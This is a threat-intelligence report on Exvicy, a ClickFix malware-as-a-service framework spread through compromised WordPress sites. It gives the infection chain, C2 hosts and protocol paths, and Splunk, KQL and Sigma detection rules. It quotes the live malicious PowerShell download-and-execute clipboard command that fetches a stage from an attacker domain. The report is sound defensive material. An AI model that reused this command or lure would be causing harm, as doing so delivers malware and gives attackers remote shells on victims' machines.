# Exvicy: ClickFix MaaS Framework Copycat of ErrTraffic Distributing Malware via Compromised WordPress Sites

> Exvicy is a ClickFix malware distribution framework sold as Malware-as-a-Service on the Exploit.IN forum since 26 May 2026. Sekoia assesses with high confidence that it is a copycat of ErrTraffic, reusing its injected JavaScript, ClickFix HTML and C2 communication logic, but using a Win+R lure and hardcoded C2 servers instead of EtherHiding. Sekoia telemetry shows hosts in multiple customer environments communicating with Exvicy C2 servers.

- **Published:** 2026-11-10T19:47:59Z
- **Last reviewed:** 2026-11-10T19:47:59Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-5675
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-5675.png
- **ID:** TL-2026-5675
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** Exvicy
- **Detections:** 9 (1 shown free below) · **IOCs:** 29 (3 shown free below)

## Description

Exvicy is a Malware-as-a-Service (MaaS) ClickFix framework (JavaScript injector plus admin panel) advertised on the Russian-language Exploit.IN forum by a Russian-speaking seller using the handle @Exvicy (also on Telegram; contact via jabber/tox on request). The ad titled "[RENT] CLICKFIX panel for your leads, traffic" appeared on 26 May 2026 after a private-access period. Pricing started at $1,200/month and was raised to $2,000/month in mid-August 2026, with the operator saying "detections are becoming daily". Four Exploit.IN users vouched for the product, citing frequent panel updates, infrastructure rotation and support. Advertised admin panel features: file management, Cloudflare-hosted C2 domain management, Telegram bot notifications for new visitors, download statistics, ClickFix page management and geolocation-based traffic filtering. By late August Sekoia had identified roughly 80 hosts serving the panel.

Infection chain: obfuscated JavaScript (Base64 plus XOR, randomized variable names) is injected into compromised WordPress sites. It sets a localStorage deduplication flag so it runs once per host, creates a full-screen iframe titled "Security Check", loads the ClickFix HTML remotely, registers the victim and originating website with the C2 and fetches the next stage. Two C2 hosts are hardcoded in the injected script: https://cloudflare-check.net and http://94.26.90.126. The lure is a fake Cloudflare Turnstile challenge; after the victim ticks the spoofed checkbox, instructions tell them to press Win+R, Ctrl+V and Enter. The clipboard holds a command placed by the copyText function, in the mid-August 2026 sample: powershell -wi mi -nop -Command "$a=irm 'recaptcha-check.com/8E9curHNH8UfAMLz';$ExecutionContext.InvokeCommand.InvokeScript($a)". The fetched obfuscated PowerShell downloader (seen on us-addnewdevice.com) retrieves an MSI from a Cloudflare R2 bucket and reports installation status to 89.34.90.159 (AS207043, DEDIK-IO). The MSI installs legitimate PuTTY, giving the operator a remote shell; putty.exe is listed in the panel's Files tab. Sekoia did not observe or name any later-stage malware family.

C2 protocol: the lure HTML is served from /embed/<ID>?embed=1&host=<WP_SITE>; /api.php?k=[a-f0-9]{48}&d=<base64> carries host telemetry via GET; /api.php POST actions are dl (fingerprint on page load, returns token and redir), cb (checkbox clicked, unique to Exvicy) and check (polled every 1.5 s for up to 3 minutes, returns fetched/consumed). Telemetry is also sent to /panel/html-event/{pid}/hit?type=visit|click. The admin panel lives at /panel on port 80 and the root path serves the ClickFix page. Panels use Cloudflare nameservers randy.ns.cloudflare.com and stevie.ns.cloudflare.com, registrars FewMoreTaps and PublicDomainRegistry, and Google Trust Services TLS certificates.

ErrTraffic relationship: ErrTraffic was sold by @LenAI on Exploit.IN from December 2025 and uses EtherHiding (Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2) as a dead drop resolver. Exvicy shares identical or near-identical code: FNV-1a hash for the localStorage flag, _xdvid UUID generation, copyText, 13-language lure with browser language detection, anti-analysis key blocking (F12, Ctrl+Shift+I/J/C, Ctrl+U), xdReq/xdDec POST helpers, the dl and check workflows and waitForToken polling. Differences: hardcoded C2 instead of EtherHiding, the added cb action and Win+R instead of Win+X. Sekoia assesses copycat status with high confidence and code reuse with high confidence (tooling overlap in the injected scripts with medium confidence); the primary hypothesis is source code acquired via customer access or a leak. Sekoia published the IOC CSV at github.com/SEKOIA-IO/Community. No victim sectors or regions are named in sources; severity HIGH is an analyst judgment and the sources state no rating.

## MITRE ATT&CK

- T1583.001 Domains
- T1584.004 Server
- T1608.004 Drive-by Target
- T1204.004 Malicious Copy and Paste
- T1059.001 PowerShell
- T1027 Obfuscated Files or Information
- T1218.007 Msiexec
- T1071.001 Web Protocols
- T1219 Remote Access Tools

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Exvicy ClickFix Win+R PowerShell Download-and-Execute (irm + InvokeScript)** (`TL-2026-5675-SPL-001`)

Detects powershell.exe or pwsh.exe spawned by explorer.exe (the Windows Run dialog used by the Win+R, Ctrl+V, Enter ClickFix lure) whose command line downloads a remote script with irm/iwr and executes it in memory. This matches the Exvicy / ErrTraffic clipboard command powershell -wi mi -nop -Command with irm piped to InvokeCommand.InvokeScript, which fetches the stage from recaptcha-check.com (TL-2026-5675). Flags hidden-window switches and known Exvicy IOC strings for triage.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1204.004, T1059.001, T1027
- **Data sources:** sysmon, XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
- **Severity:** high
- **Confidence:** high

### Splunk SPL

```spl
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h ParentImage="*\\explorer.exe" (Image="*\\powershell.exe" OR Image="*\\pwsh.exe") | eval cmd=lower(CommandLine) | where match(cmd,"irm |invoke-restmethod|iwr |invoke-webrequest|downloadstring") AND match(cmd,"invokescript|iex |iex[(]|invoke-expression") | eval hidden_window=if(match(cmd,"-w(i|in|indowstyle)?[ ]+(mi|min|minimized|h|hidden)"),1,0) | eval exvicy_ioc=if(match(cmd,"recaptcha-check[.]com|cloudflare-check[.]net|us-addnewdevice[.]com|8e9curhnh8ufamlz"),1,0) | stats count min(_time) as first_seen max(_time) as last_seen values(CommandLine) as command_lines max(hidden_window) as hidden_window max(exvicy_ioc) as exvicy_ioc by host User ParentImage Image | eval first_seen=strftime(first_seen,"%Y-%m-%d %H:%M:%S"), last_seen=strftime(last_seen,"%Y-%m-%d %H:%M:%S") | sort -exvicy_ioc -hidden_window
```

### Microsoft KQL

```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName =~ "explorer.exe"
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("irm", "Invoke-RestMethod", "iwr", "Invoke-WebRequest", "DownloadString")
| where ProcessCommandLine has_any ("InvokeScript", "iex", "Invoke-Expression")
| extend HiddenWindow = ProcessCommandLine matches regex @"(?i)\s-w(i|in|indowstyle)?\s+(mi|min|minimized|h|hidden)"
| extend KnownExvicyIoc = ProcessCommandLine has_any ("recaptcha-check.com", "cloudflare-check.net", "us-addnewdevice.com", "8E9curHNH8UfAMLz")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, HiddenWindow, KnownExvicyIoc
| order by KnownExvicyIoc desc, Timestamp desc
```

### Sigma

```yaml
title: Exvicy ClickFix Run Dialog PowerShell Download and Execute
id: 5c1d8e42-7b3a-4f6e-9a21-3d0f6b8c1a01
status: experimental
description: Detects PowerShell launched by explorer.exe (Win+R Run dialog) that downloads a remote script with irm or iwr and executes it in memory, the Exvicy / ErrTraffic ClickFix clipboard command pattern (TL-2026-5675).
references:
    - https://www.sekoia.com/blog/exvicy-a-copycat-of-the-errtraffic-malware-distribution-framework
author: Threadlinqs Team
date: 2026-11-10
tags:
    - attack.execution
    - attack.t1204.004
    - attack.t1059.001
    - attack.defense-evasion
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\explorer.exe'
    selection_img:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_download:
        CommandLine|contains:
            - 'irm '
            - 'Invoke-RestMethod'
            - 'iwr '
            - 'Invoke-WebRequest'
            - 'DownloadString'
    selection_exec:
        CommandLine|contains:
            - 'InvokeScript'
            - 'iex '
            - 'iex('
            - 'Invoke-Expression'
    selection_ioc:
        CommandLine|contains:
            - 'recaptcha-check.com'
            - 'cloudflare-check.net'
            - 'us-addnewdevice.com'
            - '8E9curHNH8UfAMLz'
    condition: selection_parent and selection_img and ((selection_download and selection_exec) or selection_ioc)
falsepositives:
    - Administrators or developers running download-and-execute PowerShell one-liners from the Run dialog
    - Legitimate installers that bootstrap via irm | iex (for example package manager install commands)
level: high
```

**Known false positives:**

- Administrators or developers running irm | iex one-liners from the Run dialog (for example package manager bootstrap commands)
- Legitimate software installers launched from Explorer that fetch a script with Invoke-RestMethod

**Tuning notes:** Allowlist known internal bootstrap URLs and approved admin accounts or jump hosts by User/host. Raise priority when hidden_window=1 or exvicy_ioc=1. If Sysmon is not deployed, use Security EventCode 4688 with command-line auditing, or PowerShell 4104 script block logs, and adapt field names.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Exvicy ClickFix Run Dialog PowerShell Stager (Defender for Endpoint) (locked: unlock with TL Creds)
- Exvicy MSI Staging and PuTTY Remote Shell Persistence (Defender for Endpoint) (locked: unlock with TL Creds)
- Exvicy C2 and Panel Infrastructure Connections (Defender for Endpoint) (locked: unlock with TL Creds)
- Exvicy ClickFix Run Dialog PowerShell Execution (Sigma) (locked: unlock with TL Creds)
- Exvicy Remote MSI Install and PuTTY Deployment (Sigma) (locked: unlock with TL Creds)
- Exvicy ClickFix C2 Beacon, Lure Path and Infrastructure in Proxy Logs (Sigma) (locked: unlock with TL Creds)
- Exvicy Post-Exploitation MSI Install and PuTTY Remote Shell Deployment (locked: unlock with TL Creds)
- Exvicy C2 Web Traffic: api.php Beacon, Embed Lure Paths and Known Infrastructure (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 29)

Defanged, TLP:CLEAR.

- IP address: `94.26.90[.]126`
- Domain: `cloudflare-check[.]net`
- IP address: `89.34.90[.]159`

Full set of 29 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [Exvicy: A copycat of the ErrTraffic malware distribution framework (Sekoia TDR)](https://www.sekoia.com/blog/exvicy-a-copycat-of-the-errtraffic-malware-distribution-framework)
- [New Exvicy ClickFix Framework Built on Rival ErrTraffic's Code (Infosecurity Magazine)](https://www.infosecurity-magazine.com/news/exvicy-clickfix-framework/)
- [New Exvicy malware-as-a-service framework copies rival's code (SC Media)](https://www.scworld.com/brief/new-exvicy-malware-as-a-service-framework-copies-rivals-code)
- [SOC Prime: Exvicy - a copycat of the ErrTraffic malware distribution framework](https://socprime.com/active-threats/exvicy-a-copycat-of-the-errtraffic-malware-distribution-framework/)
- [Exvicy ClickFix malware (GBHackers)](https://gbhackers.com/exvicy-clickfix-malware/amp/)
- [Sekoia Community IOC CSV: exvicy_iocs_20260921.csv](https://github.com/SEKOIA-IO/Community/blob/main/IOCs/exvicy/exvicy_iocs_20260921.csv)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-5675